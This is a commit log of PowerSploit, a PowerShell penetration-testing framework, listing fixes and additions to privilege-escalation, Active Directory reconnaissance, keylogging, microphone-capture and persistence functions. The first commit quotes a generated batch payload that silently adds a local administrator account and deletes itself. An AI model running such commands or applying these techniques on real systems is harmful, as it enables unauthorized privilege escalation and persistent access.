Jon Cave 9596f68274 PowerUp: Remove badly encoded new lines from .bat output
The current implementation results in a .bat like:

  @echo off\n
  start /b net user john Password123! /add && timeout /t 5 && net localgroup Administrators john /add\n
  start /b "" cmd /c del "%~f0"&exit /b

With literal "\n" strings at the end of the first two lines.

A new line in a PowerShell string should be "`n". However, an extra new
line isn't actually necessary in this case.
2016-06-30 10:12:27 +02:00
Jon Cave 9d2b9d7631 PowerUp: Allocate enough space for TOKEN_GROUPS
Make an initial call to GetTokenInformation() with a NULL buffer to get
the actual buffer size required. Prevents "The data area passed to a system
call is too small" error being thrown.
2016-06-30 09:00:31 +02:00
Jon Cave 325cc849d7 Use correct variable 2016-06-27 17:53:59 +02:00
Jon Cave 5a05a024b6 Fix Get-GroupsXML for multiple <Group> tags
Select all <Group> nodes and iterate through them, not just the root
<Groups> node.
2016-06-27 17:52:28 +02:00
Harmj0y 81ac124f22 Changed Get-NetGroup and Get-NetGroupMember to search for samaccountname instead of name 2016-06-24 16:51:16 -04:00
Harmj0y 3049211f53 Fixed Find-LocalAdminAccess to properly check for the object output from Invoke-CheckLocalAdminAccess...whoops 2016-06-24 16:11:20 -04:00
Harmj0y cd1e10b8fd Turned Get-GptTmpl and Get-GroupsXML into filters 2016-06-24 16:07:26 -04:00
HarmJ0y ac42eb8a69 Merge pull request #157 from Meatballs1/localgrouprecursion
Fix Get-NetLocalGroup Recursion for LocalGroups
2016-06-24 12:59:41 -07:00
Harmj0y 8dea905998 Fixed bug in Get-ModifiablePath that resulted in spaces being expanded to the current directory location
Fixed other logic bugs in Get-ModifiablePath
Fixed bug in Add-ServiceDacl when the [ServiceProcess.ServiceController] wasn't loaded yet by Get-Service
Error handling for Get-CachedGPPPassword
Changed some Write-Warnings to Write-Verbose
Updated Privesc Pester tests for PowerUp
2016-06-23 17:51:17 -04:00
Meatballs 3585c9b4ac Add missing parenthesis 2016-06-21 20:31:28 +01:00
Meatballs 7dfbb059e1 Check class type
Recurse if localgroup as well as domaingroup
Normalize output values to empty string
2016-06-21 20:29:40 +01:00
Harmj0y 4b40e8609c Fixed logic bugs in Find-GPOLocation and Find-GPOComputerAdmin 2016-06-14 18:23:52 -04:00
Harmj0y 31c2290d5e Fixed some Invoke-MapDomainTrust and Get-NetDomainTrust logic
Changed domain/forest Write-Warning's to Write-Verbose
2016-06-12 20:53:36 -04:00
Harmj0y 9cd0955c5d Cleaned up Get-NetGroup's logic a bit, removed filtering for primary group ID (i.e. domain users)
Modified Get-DomainSID to simplify
Changed group determination in Get-NetLocalGroup -API
Few optimizations to Find-ForeignUser and Find-ForeignGroup
Changed DNS resolution method for Invoke-UserHunter
Added 'PowerView.GPOLocalGroup' type to Find-GPOLocation
2016-06-12 19:37:17 -04:00
HarmJ0y 0f2bd1d7f3 Merge pull request #150 from breenmachine/dev
Fixed thread countdown timer in Invoke-ThreadedFunction, wasn't ever …
2016-06-12 16:17:17 -04:00
Stephen Breen 8270743fb1 Fixed thread countdown timer in Invoke-ThreadedFunction, wasn't ever killing rogue jobs 2016-06-11 00:26:40 -04:00
Harmj0y c53cd87d8f Fixed LDAP preference for when -ADSPath is passed to Get-NetDomainTrust
Fixed Get-DomainSID to allow for a -DomainController parameter
Fixed Get-NetDomainTrust logic
2016-06-08 01:35:33 -04:00
Harmj0y b5172c2bef Fixed a few GC bugs in Get-DomainSearcher
Added attempted gpcfilesyspath resolution to Get-NetGPO
Added -ADSPath for Get-NetDomainTrust
2016-06-08 00:44:24 -04:00
Harmj0y d37ec66c79 bug fixes/error handling in Get-NetGPOGroup for version 2 2016-06-07 15:36:39 -04:00
Harmj0y 5d7fe6b100 Corrected -Path parameter in Write-ServiceBinary 2016-06-07 13:00:14 -04:00
Harmj0y b6306a0d8c Small bug fix in Find-GPOLocation when enumerating all relationships
Moved GPOType check to Get-NetGPOGroup
Expanded comments and help for GPO location cmdlets
2016-06-06 21:37:36 -04:00
Harmj0y da86d76adb updated Privesc.psd1 and README.md 2016-06-06 15:43:01 -04:00
Harmj0y 5f8d8b0a10 Addded Get-CachedGPPPassword to PowerUp, based almost entirely on Get-GPPPassword.
Added Pester tests for Get-CachedGPPPassword.
2016-06-06 15:37:52 -04:00
Harmj0y f6ee5cb92e Rewrote/corrected logic for Get-NetGPOGroup, Find-GPOLocation, and Find-GPOComputerAdmin
Rewrote/corrected logic for Find-GPOLocation
Added Get-IniContent and rewrote Get-GptTmpl to use Get-IniContent to parse GptTmpl.inf files
Rewrote Get-GroupsXML to not resolve SIDs and return the same object type as Get-GptTmpl
2016-06-06 06:21:02 -04:00
HarmJ0y 5cbe3bac10 Merge pull request #148 from PowerShellMafia/powerup_psreflect
PowerUp PSReflect
2016-06-04 19:09:22 -07:00
Harmj0y e83cfae798 Get-ModifiablePath now also checks parent folders of files for modification
Bug fixes
Corrected PowerUp Pester tests
Changed 'Path' field to 'ModifiablePath' in 'Get-ModifiablePath'
Get-ServiceUnquoted now filters paths through Get-ModifiablePath
2016-06-04 22:06:21 -04:00
Harmj0y 4915945292 Renamed Get-RegistryAutoRun to Get-ModifiableRegistryAutoRun
Renamed Find-PathHijack to Find-PathDLLHijack
Fixed exposed functions in PowerSploit.psd1
2016-06-04 19:07:28 -04:00
Harmj0y 1b359e7875 Overhauled and completed PowerUp/Privesc Pester tests 2016-06-04 17:47:10 -04:00
Harmj0y 83d1413acd -Enum specification bug fix
-Additional error checking and documentation
-OpenProcessToken() call now uses TOKEN_QUERY instead of TOKEN_READ
2016-06-04 17:46:43 -04:00
Harmj0y 1f926e7fd6 Added SidAttributes enum, Get-CurrentUserTokenGroupSid now returns an object with SID and attributes fields 2016-06-03 23:37:52 -04:00
Harmj0y 09d253f070 Added Get-CurrentUserTokenGroupSid to enumerate all group SIDs the current user is a part of, regardless of being disabled.
Replaced 'whoami /groups' local admin + medium integrity check with comparison against Get-CurrentUserTokenGroupSid
2016-06-03 22:43:12 -04:00
Harmj0y 9711069b7e -Added ValueFromPipelineByPropertyName to Get-ModifiablePath to parse passed file objects
-Service functions now accept just -Name (instead of -Service/-ServiceName) that accepts has ValueFromPipelineByPropertyName set in order to handle service objects on the pipeline
-Moved PSReflect signatures to the bottom of the script
-Function and help cleanup
2016-06-03 19:03:11 -04:00
Harmj0y 8083c1e1bb Updated Privesc README.md and .psd1 to reflect the new PowerUp function names. 2016-06-02 02:14:38 -04:00
Harmj0y 3c209ee6b3 -Get-ModifiableFile renamed to Get-ModifiablePath
-Get-VulnSchTask renamed to Get-ModifiableScheduledTaskFile
-Get-VulnAutoRun renamed Get-RegistryAutoRun
-Get-RegAutoLogon renamed Get-RegistryAutoLogon
-Find-DLLHijack renamed to Find-ProcessDLLHijack for clarification, code cleaned up, -Process parameter added, output object detail expanded, and help expanded
-Removed most of the code from Find-PathHijack, replacing it with Get-ModifiablePath
-Cleaned up logic for Write-HijackDll
-Expanded help for the registry enumeration cmdlets
-Added local user creation options to Write-HijackDll to match Write-ServiceBinary
-Increased pause between user creation commands
2016-06-02 02:01:16 -04:00
Harmj0y a1ba3876b1 -Help expanded for Invoke-ServiceAbuse
-Fixed parameter sets for Write-ServiceBinary and added -Credential and -Service params
-Simplified/corrected logic for Install-ServiceBinary
-Fixed parameter sets and simplified logic for Restore-ServiceBinary
-Added sanity check with Get-ModifiableFile for Install-ServiceBinary
-Cleaned up lingering spaces
2016-06-02 00:00:35 -04:00
Harmj0y ecc96be81a -Removed Invoke-ServiceStart, Invoke-ServiceStop, Invoke-ServiceEnable, Invoke-ServiceDisable
-Renamed Get-ServiceFilePermission to Get-ModifiableServiceFile
-Renamed Get-ServicePermission Get-ModifiableService
-Integrated PSReflect codebase from @mattifestation
-Modified Get-ModifiableFile to enumerate the ACLs for passed file paths, returning the path/permission set/identityreference for each modifable file (instead of opening file for modification)
-Added Add-ServiceDacl from @mattifestation to add service Dacls to Get-Service objects
-Added Set-ServiceBinPath replace "sc.exe config SERVICE binPath= X" - now modifies using the ChangeServiceConfig Win32 API call
-Revamped Test-ServiceDaclPermission to take advantage of Add-ServiceDacl. Service permissions are now matched up against the current user's group memberships and specified permission sets to check for.
-Functions that checked for service restarting now use Test-ServiceDaclPermission
-Get-ModifiableService now uses Test-ServiceDaclPermission
-Invoke-ServiceAbuse completely rebuilt to use native PowerShell functions and Set-ServiceBinPath to reconfiguring service binary paths for abuse
-Parameter sets rewritten for several functions to accept -Credential objects were applicable and -Service objects from Get-Service on the pipeline

TODO: Tune up Write-ServiceBinary, Install-ServiceBinary, Restore-ServiceBinary, Find-DLLHijack, Find-PathHijack, Write-HijackDll, and all the registry checks
2016-06-01 19:03:18 -04:00
Harmj0y 5660218b38 Bug fix for Get-System for when a needed assembly isn't loaded. 2016-05-31 23:28:19 -04:00
Harmj0y 5b94a98dbd Merge branch 'dev' of https://github.com/PowerShellMafia/PowerSploit into dev 2016-05-31 23:19:18 -04:00
Harmj0y 848f7d31ce Corrected error checking for functions that used GetLastError
General errors are now parsed with [ComponentModel.Win32Exception] and written with Write-Verbose
Write-Debug calls converted to Write-Verbose or removed
2016-05-31 23:14:05 -04:00
Matt Graeber 235dec56ae Merge remote-tracking branch 'refs/remotes/origin/master' into dev 2016-05-29 08:00:08 -07:00
Matt Graeber 262a260865 Merge pull request #132 from pyllyukko/sch_hourly
Add hourly scheduled task persistence option
2016-05-29 07:57:30 -07:00
Matt Graeber 6b0ada999a Fixed FreeLibrary function signature #146
The parameter type and return types were accidentally transposed. Thanks
@rojaster for pointing this out.
2016-05-29 07:54:50 -07:00
Harmj0y 83305c5243 Combined Get-SiteListPassword.ps1 into PowerUp.ps1 2016-05-23 18:51:44 -04:00
Harmj0y c30c682797 Bug fix for issue #137 2016-05-23 18:36:46 -04:00
Harmj0y d0b21c0848 Updated functions in Recon.psd1 2016-05-22 14:41:05 -04:00
Harmj0y df2f92899a -Fixed bug in Get-NetGroupMember's ranged searching logic on PowerShell v3+
-Corrected parameter/variable scoping bug in several functions
-TODO: fix begin{} scoping issues in Find-InterestingFile, Invoke-UserHunter, Invoke-ProcessHunter, Invoke-EventHunter, Invoke-ShareFinder, Invoke-FileFinder, Find-LocalAdminAccess, Invoke-EnumerateLocalAdmin
-Other misc. fixes
2016-05-22 14:40:40 -04:00
Harmj0y b568271d57 Get-LoggedOnLocal now handles the situation when multiple SIDs are returned
Get-LoggedOnLocal turned into a filter and given additional error handling
Standardized tab/line spacing
Removed Invoke-PSLoggedOn
2016-05-22 14:07:37 -04:00
HarmJ0y 2e6c9392c9 Merge pull request #133 from breakersall/dev
Adds PSLoggedOn like functionality
2016-05-22 14:02:49 -04:00
HarmJ0y 666246362f Merge pull request #140 from Meatballs1/fix_groups_xml
PowerView - Fix Groups.xml Parsing
2016-05-18 11:10:18 -04:00
Harmj0y c89f0b9969 Logic bug fix in Get-NetDomainTrust 2016-05-13 01:11:47 -04:00
Harmj0y 7d3f0066ec Merge branch 'dev' of https://github.com/PowerShellMafia/PowerSploit into dev 2016-05-13 01:08:03 -04:00
Harmj0y 56824c1799 Get-NetDomainTrust now gets an -API option to enumerate trusts through DsEnumerateDomainTrusts()
Logic bug fix for Get-DNSZone
Bug fix for Get-NetLocalGroup
2016-05-13 01:07:24 -04:00
Meatballs 3e936765f5 Fix groupsxml parsing 2016-05-12 21:03:20 +01:00
Matt Graeber eec3704f40 Merge pull request #139 from sixdub/dev
Added Get-MicrophoneAudio.ps1 and associated Pester tests
2016-05-12 08:08:54 -07:00
sixdub debe4a565e Added Get-MicrophoneAudio.ps1 and associated Pester tests 2016-05-12 10:58:27 -04:00
HarmJ0y 30324b7c5e Merge pull request #135 from Meatballs1/trust_sids
Retrieve Domain SIDs with -LDAP
2016-05-09 21:24:57 -07:00
Harmj0y 7b4becfe72 Added Invoke-UserHunter field to keep output objects in sync. 2016-05-10 00:14:37 -04:00
HarmJ0y 31ed96d161 Merge pull request #136 from andyrobbins/dev
Added name resolution to custom PSObject generated by Invoke-UserHunter.
2016-05-09 21:12:42 -07:00
Andy Robbins 9f7906280d Added name resolution to custom PSObject generated by Invoke-UserHunter. 2016-05-10 00:01:38 -04:00
Harmj0y 6ada127538 Began adding custom PSObject TypeNames to various PowerView output objects. 2016-05-09 23:22:51 -04:00
Meatballs 6a39c26b06 Retrieve Domain SIDs with -LDAP 2016-05-09 22:24:23 +01:00
Matt Kelly 0cedaf6142 Adds PSLoggedOn like functionality
Adding in Get-LoggedOnLocal which uses HKU registry checks to see who
is logged locally to a remote box and only requires user level access
rights. The benefit over NetWkstaUserEnum is less user privileges
required (admin for NetWkstaUserEnum) and is the same process
PSLoggedOn uses.

Invoke-PSLoggedOn launches both Get-LoggedOnLocal and Get-NetSessions
and outputs the same format as PSLoggedOn.exe from Sysinternals.

I did not change Invoke-UserHunter non-stealth to this option yet, but
it is beneficial in that if you use both HKU and NetSessionEnum you
only require basic user level rights not admin remote.
2016-05-05 19:12:33 -05:00
Harmj0y 26cef85d35 Added Get-RegistryMountedDrive 2016-05-03 22:52:36 -04:00
Harmj0y fbf6f30833 Modified Convert-DNSRecord to return the base64 encoded record for record types not currently handled. 2016-04-27 19:11:49 -04:00
Harmj0y 1f90c29429 Added Get-DNSZone and Get-DNSRecord to enumerate AD DNS information.
Added Convert-DNSRecord (ported from Michael B. Smith's code at https://raw.githubusercontent.com/mmessano/PowerShell/master/dns-dump.ps1) - needs expansion work on record types
2016-04-27 18:42:51 -04:00
Harmj0y 68c446b9b9 Changed some property types in Get-ObjectACL 2016-04-25 19:52:39 -04:00
pyllyukko 75a37a0f17 Added ScheduledTaskHourly to New-UserPersistenceOption 2016-04-25 17:44:24 +03:00
Harmj0y 4cedfa1c30 added Request-SPNTicket to request kerberos tickets for specified SPNs 2016-04-24 10:56:07 -04:00
Harmj0y c52f9d712c For PowerView, added $Searcher.CacheResults = $False to Get-DomainSearcher
Added dispose() approach for the following cmdlets:
Get-NetUser, Get-ObjectAcl/Add-ObjectAcl, Get-GUIDMap, Get-NetComputer, Get-ADObject, Get-NetOU, Get-NetSite, Get-NetSubnet, Get-NetGroup, Get-NetGroupMember, Get-DFSshare, Get-NetGPO, Get-NetDomainTrust
2016-04-24 06:57:36 -04:00
HarmJ0y 7ed5343431 Merge pull request #128 from Meatballs1/fix_groups_xml
//Group -> //Groups
2016-04-24 12:17:48 +02:00
pyllyukko a6564f4483 Added ScheduledTaskHourly to New-ElevatedPersistenceOption 2016-04-16 17:03:17 +03:00
HarmJ0y 69a2cd1e33 Merge pull request #125 from leechristensen/patch-1
Change ComputerName default to the computer's name
2016-04-11 11:49:47 -07:00
leechristensen c8ff194089 Change ComputerName default to the computer's name
Change ComputerName default so Disabled doesn't report error
2016-04-11 11:02:31 +01:00
HarmJ0y 785f4757bd Merge pull request #122 from joncave/patch-1
Find-PathHijack: Expand environment variables in path
2016-04-08 12:59:01 -07:00
Meatballs 6daaef2706 //Group -> //Groups 2016-04-03 08:09:33 +01:00
Jon Cave 84b8e1da9a Find-PathHijack: Expand environment variables in path
Paths containing environment variables can cause false-positives to occur, e.g. `%SystemRoot%\system32\WindowsPowerShell\v1.0\`. `Find-PathHijack` will believe this is a relative path and will report it as hijackable if the current directory is writeable.
2016-03-20 21:28:22 +00:00
Harmj0y 37389e9658 Bug fix in Find-GPOLocation 2016-03-18 06:13:05 -04:00
Harmj0y 26a0757612 Added Get-SiteName to find the site a computer is a part of
Added -ComputerName parameter to Get-NetGPO to enumerate all GPOs a given computer has applied
Fixed bug in Find-GPOComputerAdmin and added site enumeration for GPO links
2016-03-15 15:13:32 -04:00
Harmj0y 13adf516d5 Moved admin check for Get-System to allow for RevToSelf 2016-03-15 15:13:02 -04:00
Harmj0y 6a17f759ab Added Get-System to Privesc/
Added Pester tests for Get-System
2016-03-11 17:45:46 -05:00
Harmj0y dee094a993 Additional error checking in Get-DFSshare 2016-03-11 16:37:14 -05:00
HarmJ0y dedd805eaa Merge pull request #118 from Meatballs1/dfs_v1_pkt
Parse DFSv1 PKT
2016-03-11 13:35:14 -08:00
Matt Graeber be2a8ecf15 Get-TimedScreenshot enhancement. Issue #114
Get-TimedScreenshot now captures the entire screen. The screen
resolution is obtained via WMI. If for some reason that fails, it will
fall back to the old, less ideal method.
2016-03-10 18:00:43 -08:00
Matt Graeber f305e31cf5 Bugfix: Invoke-TokenManipulation. Issue #112
Fixed the PSv4 dependency for obtaining process ownership information.
Thanks to @mmashwani for suggesting the WMI solution.
2016-03-10 16:48:37 -08:00
Harmj0y 2e1d49db33 Fixed bug with Get-NetGroupMember and computer accounts.
samaccounttype enumeration now more accurate.
2016-03-09 20:02:18 -05:00
Harmj0y 625705781e fix for Find-GPOComputerAdmin 2016-03-09 16:23:27 -05:00
Harmj0y 2e0197603c Bug fix for Invoke-EnumerateLocalAdmin 2016-03-09 15:37:38 -05:00
Harmj0y 236b16430c Removed Set-MacAttribute and Copy-ClonedFile
Combined Convert-NT4toCanonical and Convert-DomainSimpletoNT4 into Convert-ADName
2016-03-09 15:08:27 -05:00
Harmj0y e029509889 Added New-GPOImmediateTask 2016-03-07 19:17:25 -05:00
Harmj0y a87453eeca DomainOnly tweak 2016-03-07 02:53:30 -05:00
Harmj0y c883dabf77 Added -DomainOnly flag to Invoke-EnumerateLocalAdmin 2016-03-07 02:50:24 -05:00
Harmj0y 1c664758ce renamed output field for Get-NetLocalGroup API 2016-03-07 02:20:26 -05:00
Harmj0y b4891eb371 Added NetLocalGroupGetMembers enumeration method for Get-NetLocalGroup with the -API flag
Fixed threading specification in most threaded functions.
2016-03-07 02:00:00 -05:00
Meatballs 661b11ed3c Parse DFSv1 PKT 2016-03-07 05:32:36 +00:00
Harmj0y 26ca1a922e Added additional fields to Get-NetLocalGroup results. 2016-03-06 21:47:06 -05:00
Harmj0y 46e12414e8 Modified output of Find-GPOLocation to return more object information. 2016-02-28 23:05:28 -05:00
Harmj0y 4aea2f12f9 -fixed several bugs in Find-GPOLocation (-GroupName now works properly and Sites returned)
-Find-GPOLocation with no arguments now returns all mappings
-fixed parsing issue in Get-NetGPOGroup- names now properly extracted from restricted group templates
2016-02-28 22:30:22 -05:00
Harmj0y 6de1d78af8 Added Pester tests for Get-SiteListPassword
Encrypted password check for Get-SiteListPassword fields
2016-02-12 17:25:13 -05:00
Harmj0y eae5eef91f Added additional search paths, code cleanup. 2016-02-12 16:26:35 -05:00
Harmj0y 2e6b301170 Added Get-SiteListPassword to decrypt McAfee SiteList.xml file passwords. 2016-02-11 21:42:20 -05:00
Harmj0y aea2eacd2d Most ldap-based search functions now accept a -Credential argument for querying from non-domain joined machines without a runas
Changed several functions to filters, where appropriate.
Get-NetShare, Get-NetSession, Get-NetLoggedOn, Get-NetRDPSession, Invoke-CheckLocalAdminAccess, Get-LastLoggedOn, Get-CachedRDPConnection, Get-NetProcess are now filters, better handle pipeline input, and now return an augmented result object with the queried ComputerName as a field
Replaced RemoteUserName/RemotePassword with -Credential parameter in Get-CachedRDPConnection and Get-NetProcess
modified output object for Get-NetShare to be a proper object
Various bug fixes and better parameter validation
2016-02-11 13:46:45 -05:00
HarmJ0y 1832e324e9 Merge pull request #111 from sagishahar/dev
Fix 'Install-ServiceBinary' for non-'Modifiable' files
2016-01-25 15:19:58 -08:00
HarmJ0y 43c4c69b38 Merge pull request #108 from sagishahar/master
Add 'CanRestart' to output and Pester tests
2016-01-25 15:19:20 -08:00
sagishahar 3f1dd34500 Fix 'Install-ServiceBinary' for non-'Modifiable' files
The 'Install-ServiceBinary' function fails on an edge case where the
service's file permission does not include the 'Modify' permission but
does include the 'Write' permission
(https://technet.microsoft.com/en-au/library/dd349321(v=ws.10).aspx). In
this scenario, renaming the original service file for backup purposes
will result in 'Access Denied' message. Fixing this requires that the
file be copied to service.exe.bak instead of renamed to service.exe.bak.
2016-01-17 23:04:27 +08:00
Matt Graeber cde9447c5f Merge pull request #107 from secabstraction/dev
new Get-Keystrokes
2016-01-14 12:37:52 -08:00
Jesse Davis 9cc65e4a85 Fixed Pester/PassThru 2016-01-13 22:32:44 -06:00
Jesse Davis 75548931ba Fixed Pester/PassThru 2016-01-13 22:30:38 -06:00
Jesse Davis 4ffd3084e4 Fixed Pester/PassThru 2016-01-13 22:20:05 -06:00
Jesse Davis 414daa60b8 Fixed Pester/PassThru 2016-01-13 22:19:06 -06:00
Jesse Davis 759bd481ae Fixed Pester/PassThru 2016-01-13 21:02:50 -06:00
Matt Graeber e83e97d672 Merge pull request #110 from PowerShellMafia/master
Merging Invoke-TokenManipulation fix into dev
2016-01-13 11:09:42 -08:00
Matt Graeber 2a813faedb Merge pull request #109 from mmashwani/master
Don't search for SYSTEM token by using hard coded English name
2016-01-13 11:05:46 -08:00
mmashwani 96ad796da8 Don't search for SYSTEM token by using hard coded English name for SYSTEM account. Translate SYSTEM SID to NTAccount to maintain compatibility across languages. 2016-01-13 04:52:42 -05:00
sagishahar 5f13c7b4de Add 'CanRestart' to output and Pester tests
Pester tests to the function 'Test-ServiceDaclPermission' were added in
order to increase confidence in its reliability. In general, my
intention was to replace the current functionality of the service
management functions such as Invoke-ServiceStart, to not use blindly
'sc.exe start' but rather consult with the DACL permissions and base the
decision on that. Unforunately, further investigation lead me to the
conclusion that retrieval of the service's DACL permissions requires
that an additional DACL permission (RC) be set. This may lead to an edge
case that could miss a potential privilege escalation condition and
thereby the original idea was discarded. Nonetheless,
'Test-ServiceDaclPermission' can be used for less critical tasks.
Therefore, a 'CanRestart' property was added to the output of the
service enumeration functions such as 'Get-ServiceUnquoted' as I think
that it will add value to redteamers/pentesters by helping them
prioritise which service should be abused for escalation of privileges.
Services that can be restarted by a low privileged user will probably be
prioritised first. Additionally, manual checking whether the vulnerable
service can be restarted would not be required in most cases.
2016-01-13 01:36:23 +08:00
Jesse Davis d133db696a Update Get-Keystrokes.ps1 2016-01-11 09:09:48 -06:00
Jesse Davis ef887af9d6 Update Exfiltration.tests.ps1 2016-01-09 17:55:47 -06:00
Jesse Davis f66e219bd6 new Get-Keystrokes 2016-01-09 17:50:58 -06:00
Matt Graeber 872d4b0eb7 Merge pull request #105 from stufus/find_ad_managed_security_groups
Find AD Managed Security Groups
2015-12-29 09:22:07 -05:00
Stuart Morgan bc7efdf229 Added Find-ManagedSecurityGroups to readme 2015-12-29 14:08:28 +00:00
Stuart Morgan ed60b51f0a Sorted exports into alphabetical order 2015-12-29 14:06:06 +00:00
Stuart Morgan f645f61607 Sorted the recon.psd1 module import into alphabetical order 2015-12-29 14:04:03 +00:00
Stuart Morgan 2343f43e7c Added reference to function to powersploit.psd1 and recon.psd1 2015-12-29 13:37:40 +00:00
Stuart Morgan 841150e1c6 Added Find-ManagedSecurityGroups 2015-12-28 17:54:47 +00:00
PowerShellMafia 9e771d15bf Merge pull request #102 from PowerShellMafia/dev
Merge 3.0 release changes
2015-12-18 16:33:59 -08:00
Matt Graeber 9f183e3651 Set all module versions to 3.0
Also cleaned up some module manifest cruft.
2015-12-18 16:28:03 -08:00
Matt Graeber 29ae830b73 Improved root module manifest for PS Gallery 2015-12-18 16:17:16 -08:00
Matt Graeber 26e0b29e67 Added manifest info for the PowerShell Gallery 2015-12-18 14:24:11 -08:00
Matt Graeber 2a8da712b6 Updated .psproj to reflect additions/removals 2015-12-18 11:43:40 -08:00
Matt Graeber 52c46b1d3a Revert "Invoke-ReflectivePEInjection test harnesses updated"
This reverts commit 98ebc1b0b8.
2015-12-17 20:30:04 -08:00
Matt Graeber 98ebc1b0b8 Invoke-ReflectivePEInjection test harnesses updated
Affected test harness PEs were updated to work in XP. Addresses issue
#100
2015-12-17 18:50:15 -08:00
Matt Graeber 55098d59e9 Removed version numbers from scripts
A module should maintain a version number not the individual scripts.
2015-12-16 17:08:58 -08:00
Matt Graeber c2a70924e1 Removed all version numbers from scripts
Scripts in a module should not be individually versioned. Only the
module should be versioned.
2015-12-16 17:08:57 -08:00
PowerShellMafia b01a8127bc Added volume shadow copy functions to README.md 2015-12-16 16:52:53 -08:00
PowerShellMafia 70f25c90e2 Update README.md 2015-12-16 15:24:18 -08:00
Matt Graeber 1cdad586c8 Added a slight delay to Invoke-DllInjection validation
In some cases, the loaded module would show up as loaded after the check
occurred.
2015-12-16 14:48:09 -08:00
Matt Graeber f5d9b25275 Invoke-DllInjection detects OS arch on all OSes
This fix addresses issue #99. While I'm not the biggest fan of
performing tests based on environment variables, I felt that making
additional Win32 API calls would have been overkill.
2015-12-16 14:31:03 -08:00
Matt Graeber ef37a138b8 Fixed Add-Persistence. Issue #98 2015-12-16 13:36:22 -08:00
Matt Graeber 9a2dfad3de Fixed mangled decrypted script output
Addresses issue #80. This was a tricky fix because the script should
ideally handle Unicode and Ascii encoded scripts. I haven't tested
scripts with international characters but I would imagine those script
would get mangled since the decrypted output is ultimately normalized to
ascii.
2015-12-16 10:15:14 -08:00
Matt Graeber fdcdeab702 Fixed Invoke-WmiCommand credential popup issue
Easy fix to issue #97
2015-12-16 08:50:34 -08:00
PowerShellMafia fef09e6cc1 Merge pull request #91 from FixTheExchange/patch-1
Update Invoke-TokenManipulation.ps1 to address Win 10 incompatibility
2015-12-15 12:23:12 -08:00
Matt Graeber f70c63f9d5 Invoke-WmiCommand is now PSv2 compatible
This bug fix addresses issue #96. As much as a hate dropping files to
disk, this was the easiest way to preserve objects in PSv2+. If someone
want to implement the [de]serialization themselves and keep everything
in memory, please submit a PR.
2015-12-15 11:55:47 -08:00
Matt Graeber f6e032c3b1 Invoke-WmiCommand now obtains full powershell path
Addresses issue #95.
2015-12-15 09:10:35 -08:00
Matt Graeber 924103aa01 Invoke-DllInjection Pester test improvement
The test dll I now use is advpack.dll since that is present in all
versions of windows.
2015-12-14 20:43:51 -08:00
Matt Graeber e144be7f29 Invoke-Mimkatz: Incorporated latest 2.0 alpha build
Updated embedded powerkatz.dll to the latest version of mimikatz -
[Commit
1b13057](https://github.com/gentilkiwi/mimikatz/commit/1b130574ed78d1d9bf6117b0839056900cb8f816)

This update addresses issue #94.
2015-12-14 20:21:43 -08:00
Harmj0y 55fabd7e2e Removed commented blocks. 2015-12-14 22:00:21 -05:00
Harmj0y dae9d91fdb Merge branch 'dev' of https://github.com/PowerShellMafia/PowerSploit into dev 2015-12-14 21:54:11 -05:00
Harmj0y 0181ff0c09 Removed C# enum for Test-ServiceDaclPermission 2015-12-14 21:53:42 -05:00
Matt Graeber 00af1656b2 Bugfix #93
Removed the "EndAddress" parameter set since it was never used. This
should resolve any parameter set confusion.
2015-12-14 17:26:33 -08:00
Matt Graeber ce3b21685a Bugfix #92: perform OS check when importing NtCreateThreadEx 2015-12-14 16:40:09 -08:00
Harmj0y 9ffc26af70 Added admin rights check for existing Privesc Pester tests 2015-12-14 19:33:15 -05:00
Harmj0y 5690b09027 Get-NetDomain now not called if -ComputerName or -ComputerFile are passed for meta functions, in order to prevent failure when running on a non-domain joined machine
took out FQDN Pester tests from Recon.tests.ps1 that used $env:userdnsdomain
2015-12-14 19:01:10 -05:00
Harmj0y e2993b63aa Modified Tests/Privesc.tests.ps1 to ensure file artifacts are not left on disk. 2015-12-14 18:19:17 -05:00
Harmj0y a235313996 Modified Tests/Recon.tests.ps1 to ensure file artifacts are not left on disk. 2015-12-14 17:34:12 -05:00
Matt Graeber 7f6d3a4565 Fix Invoke-Shellcode OS architecture detection
Fixes issue #70
2015-12-14 11:02:14 -08:00
Matt Graeber 93a71b037c Adding PollingInterval param to Get-Keystrokes
Incorporates idea from @obscuresec in issue #50.
2015-12-14 09:11:05 -08:00
Harmj0y a336562b70 Added Invoke-DowngradeAccount to set an account to use reversible encryption. 2015-12-11 14:58:07 -05:00
Harmj0y a0b95c36b4 Domain local group query fix.
Added ConvertFrom-UACValue to convert binary UAC values to human readable format.
Corrected logic in Set-ADObject.
2015-12-11 10:21:39 -05:00
Harmj0y e44df184a8 Start of Recon/PowerView Pester tests 2015-12-03 21:57:41 -05:00
Harmj0y c143dc6885 Privesc/PowerUp Pester tests 2015-12-03 21:57:26 -05:00
Harmj0y 8ab8c49a0d Added ./Privesc/ folder that integrates PowerUp.ps1
Updated README.md's
2015-12-03 21:56:08 -05:00
Harmj0y 5fb690518d Integration of PowerView into ./Recon/ 2015-12-03 21:50:45 -05:00
Matt Graeber 729e9ca267 Removing Invoke-ShellcodeMSIL from psproj file 2015-11-09 10:58:52 -08:00
Matt Graeber 62bb142a68 Excluding the Tests folder from being loaded as a module 2015-11-09 10:57:19 -08:00
Matt Graeber c03965c8f9 Adding Pester tests for CodeExecution module 2015-11-09 10:56:34 -08:00
Matt Graeber a78b40429e Revert "Excluding the Tests folder from being loaded as a module"
This reverts commit a0ab599810.
2015-11-09 10:52:41 -08:00
Matt Graeber a0ab599810 Excluding the Tests folder from being loaded as a module 2015-11-09 10:52:23 -08:00
Matt Graeber aae81ddfe5 Adding -DoNotZeroMZ for testing 2015-11-07 20:26:08 -08:00
Matt Graeber 992f980022 Removed extraneous parameters
Removed extraneous parameters

Removed the following extraneous parameters:
-PEPath
-PEUrl

The functionality they provided can be easily replicated in code outside
of Invoke-ReflectivePEInjection. i.e. it should be up to the user how
they might want to download a PE before loading it. That should not be
dictated by Invoke-ReflectivePEInjection.
2015-11-07 20:00:22 -08:00
Matt Graeber b8e831e4f9 Revert "Removed extraneous parameters"
This reverts commit 0eb520e31f.
2015-11-07 19:50:05 -08:00
Matt Graeber 0eb520e31f Removed extraneous parameters
Removed the following extraneous parameters:
-PEPath
-PEUrl
-ComputerName

The functionality they provided can be easily replicated in code outside
of Invoke-ReflectivePEInjection. i.e. it should be up to the user how
they might want to download a PE before loading it. That should not be
dictated by Invoke-ReflectivePEInjection.
2015-11-07 20:25:29 -05:00
Matt Graeber 17bfa4e276 Fixed a casting bug 2015-11-06 13:31:58 -05:00
Matt Graeber 18b7a10f89 Removing Invoke-ShellcodeMSIL
